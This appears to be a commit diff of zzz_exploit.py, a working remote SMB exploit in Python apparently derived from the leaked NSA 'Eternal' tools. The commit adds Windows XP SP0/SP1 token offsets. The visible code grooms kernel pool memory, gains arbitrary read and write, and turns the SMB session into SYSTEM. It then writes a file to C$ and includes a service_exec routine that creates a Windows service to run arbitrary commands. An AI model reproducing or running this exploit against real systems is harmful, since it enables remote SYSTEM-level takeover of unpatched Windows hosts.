fix offsets on XP SP0 and SP1
This commit is contained in:
120
zzz_exploit.py
120
zzz_exploit.py
@@ -87,7 +87,7 @@ struct SrvSecContext {
|
||||
}
|
||||
|
||||
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
|
||||
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
|
||||
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
|
||||
STATUS_SUCCESS when Token is NULL.
|
||||
@@ -154,6 +154,8 @@ WINXP_32_SESSION_INFO = {
|
||||
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
|
||||
}
|
||||
|
||||
WIN2K_32_SESSION_INFO = {
|
||||
@@ -285,7 +287,7 @@ def wait_for_request_processed(conn):
|
||||
|
||||
def find_named_pipe(conn):
|
||||
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
found_pipe = None
|
||||
for pipe in pipes:
|
||||
@@ -295,7 +297,7 @@ def find_named_pipe(conn):
|
||||
found_pipe = pipe
|
||||
except smb.SessionError as e:
|
||||
pass
|
||||
|
||||
|
||||
conn.disconnect_tree(tid)
|
||||
return found_pipe
|
||||
|
||||
@@ -306,7 +308,7 @@ def reset_extra_mid(conn):
|
||||
global extra_last_mid, special_mid
|
||||
special_mid = (conn.next_mid() & 0xff00) - 0x100
|
||||
extra_last_mid = special_mid
|
||||
|
||||
|
||||
def next_extra_mid():
|
||||
global extra_last_mid
|
||||
extra_last_mid += 1
|
||||
@@ -322,7 +324,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
# this method can be used on Windows Vista/2008 and later
|
||||
# leak "Frag" pool size and determine target architecture
|
||||
info = {}
|
||||
|
||||
|
||||
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
|
||||
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
|
||||
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
|
||||
@@ -330,7 +332,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
mid = conn.next_mid()
|
||||
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
|
||||
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
|
||||
|
||||
|
||||
conn.send_raw(req1[:-8])
|
||||
conn.send_raw(req1[-8:]+req2)
|
||||
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
|
||||
@@ -347,7 +349,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
else:
|
||||
print('Not found Frag pool tag in leak data')
|
||||
sys.exit()
|
||||
|
||||
|
||||
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
||||
return info
|
||||
|
||||
@@ -362,7 +364,7 @@ def read_data(conn, info, read_addr, read_size):
|
||||
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
|
||||
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
|
||||
|
||||
|
||||
# create one more transaction before leaking data
|
||||
# - next transaction can be used for arbitrary read/write after the current trans2 is done
|
||||
# - next transaction address is from TransactionListEntry.Flink value
|
||||
@@ -371,10 +373,10 @@ def read_data(conn, info, read_addr, read_size):
|
||||
# finish the trans2 to leak
|
||||
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
|
||||
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
|
||||
|
||||
|
||||
# set new trans2 address
|
||||
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
|
||||
|
||||
|
||||
# set trans1.InData to &trans2
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
@@ -382,14 +384,14 @@ def read_data(conn, info, read_addr, read_size):
|
||||
# modify trans2 mid
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
return read_data[8:] # no need to return parameter
|
||||
|
||||
def write_data(conn, info, write_addr, write_data):
|
||||
# trans2.InData
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
# write data
|
||||
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
|
||||
wait_for_request_processed(conn)
|
||||
@@ -415,7 +417,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
|
||||
conn.send_raw(req1[:-8])
|
||||
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
|
||||
|
||||
|
||||
# expected transactions alignment ("Frag" pool is not shown)
|
||||
#
|
||||
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
|
||||
@@ -436,7 +438,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
|
||||
print('Not found Frag pool tag in leak data')
|
||||
return None
|
||||
|
||||
|
||||
# ================================
|
||||
# verify leak data
|
||||
# ================================
|
||||
@@ -478,16 +480,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
|
||||
def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# for Windows 7/2008 R2 and later
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||
fid = conn.nt_create_andx(tid, pipe_name)
|
||||
|
||||
|
||||
info.update(leak_frag_size(conn, tid, fid))
|
||||
# add os and arch specific exploit info
|
||||
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||
|
||||
|
||||
# groom: srv buffer header
|
||||
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
||||
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
|
||||
@@ -500,7 +502,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
|
||||
# bride paramters and data is alignment by 4 because it is TRANS
|
||||
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
|
||||
|
||||
|
||||
# ================================
|
||||
# try align pagedpool and leak info until satisfy
|
||||
# ================================
|
||||
@@ -514,14 +516,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
print('leak failed... try again')
|
||||
conn.close(tid, fid)
|
||||
conn.disconnect_tree(tid)
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
fid = conn.nt_create_andx(tid, pipe_name)
|
||||
|
||||
if leakInfo is None:
|
||||
return False
|
||||
|
||||
|
||||
info['fid'] = fid
|
||||
info.update(leakInfo)
|
||||
|
||||
@@ -553,7 +555,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
|
||||
# but this method make the transation never get freed
|
||||
# I will avoid memory leak
|
||||
|
||||
|
||||
# ================================
|
||||
# modify trans1 struct to be used for arbitrary read/write
|
||||
# ================================
|
||||
@@ -576,7 +578,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
|
||||
def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# for Windows Vista/2008 and earlier
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||
@@ -586,7 +588,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
if info['os'] == 'WIN7' and 'arch' not in info:
|
||||
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
||||
info.update(leak_frag_size(conn, tid, fid))
|
||||
|
||||
|
||||
if 'arch' in info:
|
||||
# add os and arch specific exploit info
|
||||
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||
@@ -596,7 +598,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# this case is only for Windows 2003
|
||||
# try offset of 64 bit then 32 bit because no target architecture
|
||||
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
|
||||
|
||||
|
||||
# ================================
|
||||
# groom packets
|
||||
# ================================
|
||||
@@ -606,8 +608,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
trans_param = pack('<HH', info['fid'], 0)
|
||||
for i in range(12):
|
||||
mid = info['fid'] if i == 8 else next_extra_mid()
|
||||
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||
|
||||
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||
|
||||
# expected transactions alignment
|
||||
#
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
@@ -620,7 +622,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# ================================
|
||||
shift_indata_byte = 0x200
|
||||
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
|
||||
|
||||
|
||||
# ================================
|
||||
# Dangerous operation: attempt to control one transaction
|
||||
# ================================
|
||||
@@ -648,7 +650,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
break
|
||||
if recvPkt.getNTStatus() != 0:
|
||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
|
||||
|
||||
if not success:
|
||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
print('!!! Write to wrong place !!!')
|
||||
@@ -659,8 +661,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
|
||||
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
||||
# because of this unfreed memory chunk. I will avoid it.
|
||||
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
# transactions (do not know the address).
|
||||
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
|
||||
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
|
||||
@@ -669,14 +671,14 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
|
||||
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
|
||||
# we also modify HIDWORD of InParameter to 0xffffffff.
|
||||
|
||||
|
||||
print('modify parameter count to 0xffffffff to be able to write backward')
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
|
||||
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
|
||||
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
|
||||
@@ -716,18 +718,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
|
||||
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
|
||||
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||
|
||||
|
||||
print('CONNECTION: 0x{:x}'.format(connection_addr))
|
||||
print('SESSION: 0x{:x}'.format(session_addr))
|
||||
print('FLINK: 0x{:x}'.format(flink_value))
|
||||
print('InData: 0x{:x}'.format(indata_value))
|
||||
print('MID: 0x{:x}'.format(trans2_mid))
|
||||
|
||||
|
||||
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
|
||||
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
|
||||
print('TRANS1: 0x{:x}'.format(trans1_addr))
|
||||
print('TRANS2: 0x{:x}'.format(trans2_addr))
|
||||
|
||||
|
||||
# ================================
|
||||
# modify trans struct to be used for arbitrary read/write
|
||||
# ================================
|
||||
@@ -739,12 +741,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
|
||||
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
# modify trans1.mid
|
||||
trans1_mid = conn.next_mid()
|
||||
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
info.update({
|
||||
'connection': connection_addr,
|
||||
'session': session_addr,
|
||||
@@ -766,26 +768,26 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
|
||||
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
|
||||
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
|
||||
attrs = [ 0, 0xe, 7, 7 ]
|
||||
|
||||
|
||||
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
|
||||
# fake user and groups will be in same buffer of original one
|
||||
# so fake sids size must NOT be bigger than the original sids
|
||||
fakeUserAndGroupCount = min(userAndGroupCount, 4)
|
||||
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||
|
||||
|
||||
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
|
||||
fakeUserAndGroups = ''
|
||||
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
|
||||
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
|
||||
addr += len(sid)
|
||||
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
|
||||
|
||||
|
||||
return fakeUserAndGroupCount, fakeUserAndGroups
|
||||
|
||||
|
||||
def exploit(target, pipe_name):
|
||||
conn = MYSMB(target)
|
||||
|
||||
|
||||
# set NODELAY to make exploit much faster
|
||||
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
|
||||
@@ -821,7 +823,7 @@ def exploit(target, pipe_name):
|
||||
else:
|
||||
print('This exploit does not support this target')
|
||||
sys.exit()
|
||||
|
||||
|
||||
if pipe_name is None:
|
||||
pipe_name = find_named_pipe(conn)
|
||||
if pipe_name is None:
|
||||
@@ -835,9 +837,9 @@ def exploit(target, pipe_name):
|
||||
# Now, read_data() and write_data() can be used for arbitrary read and write.
|
||||
# ================================
|
||||
# Modify this SMB session to be SYSTEM
|
||||
# ================================
|
||||
# ================================
|
||||
fmt = info['PTR_FMT']
|
||||
|
||||
|
||||
print('make this SMB session to be SYSTEM')
|
||||
# IsNullSession = 0, IsAdmin = 1
|
||||
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
|
||||
@@ -850,7 +852,7 @@ def exploit(target, pipe_name):
|
||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
|
||||
|
||||
|
||||
# find the token and modify it
|
||||
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
|
||||
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||
@@ -861,12 +863,20 @@ def exploit(target, pipe_name):
|
||||
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
|
||||
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
|
||||
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
|
||||
|
||||
|
||||
# copy Token data for restoration
|
||||
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
|
||||
|
||||
|
||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
||||
|
||||
# hack to fix XP SP0 and SP1
|
||||
if info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||
if userAndGroupCount > 4:
|
||||
print("Bad TOKEN offsets detected, performing workaround")
|
||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'])[0]
|
||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
|
||||
|
||||
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
||||
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
||||
|
||||
@@ -887,7 +897,7 @@ def exploit(target, pipe_name):
|
||||
|
||||
# ================================
|
||||
# do whatever we want as SYSTEM over this SMB connection
|
||||
# ================================
|
||||
# ================================
|
||||
try:
|
||||
smb_pwn(conn, info['arch'])
|
||||
except:
|
||||
@@ -910,13 +920,13 @@ def exploit(target, pipe_name):
|
||||
|
||||
def smb_pwn(conn, arch):
|
||||
smbConn = conn.get_smbconnection()
|
||||
|
||||
|
||||
print('creating file c:\\pwned.txt on the target')
|
||||
tid2 = smbConn.connectTree('C$')
|
||||
fid2 = smbConn.createFile(tid2, '/pwned.txt')
|
||||
smbConn.closeFile(tid2, fid2)
|
||||
smbConn.disconnectTree(tid2)
|
||||
|
||||
|
||||
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
|
||||
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||
# Note: there are many methods to get shell over SMB admin session
|
||||
@@ -933,7 +943,7 @@ def service_exec(conn, cmd):
|
||||
import random
|
||||
import string
|
||||
from impacket.dcerpc.v5 import transport, srvs, scmr
|
||||
|
||||
|
||||
service_name = ''.join([random.choice(string.letters) for i in range(4)])
|
||||
|
||||
# Setup up a DCE SMBTransport with the connection already in place
|
||||
@@ -945,7 +955,7 @@ def service_exec(conn, cmd):
|
||||
print("Opening SVCManager on %s....." % conn.get_remote_host())
|
||||
resp = scmr.hROpenSCManagerW(rpcsvc)
|
||||
svcHandle = resp['lpScHandle']
|
||||
|
||||
|
||||
# First we try to open the service in case it exists. If it does, we remove it.
|
||||
try:
|
||||
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
|
||||
@@ -956,11 +966,11 @@ def service_exec(conn, cmd):
|
||||
# It exists, remove it
|
||||
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
|
||||
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
|
||||
|
||||
|
||||
print('Creating service %s.....' % service_name)
|
||||
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
|
||||
serviceHandle = resp['lpServiceHandle']
|
||||
|
||||
|
||||
if serviceHandle:
|
||||
# Start service
|
||||
try:
|
||||
@@ -972,7 +982,7 @@ def service_exec(conn, cmd):
|
||||
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
|
||||
|
||||
print('Removing service %s.....' % service_name)
|
||||
scmr.hRDeleteService(rpcsvc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
|
||||
|
||||
Reference in New Issue
Block a user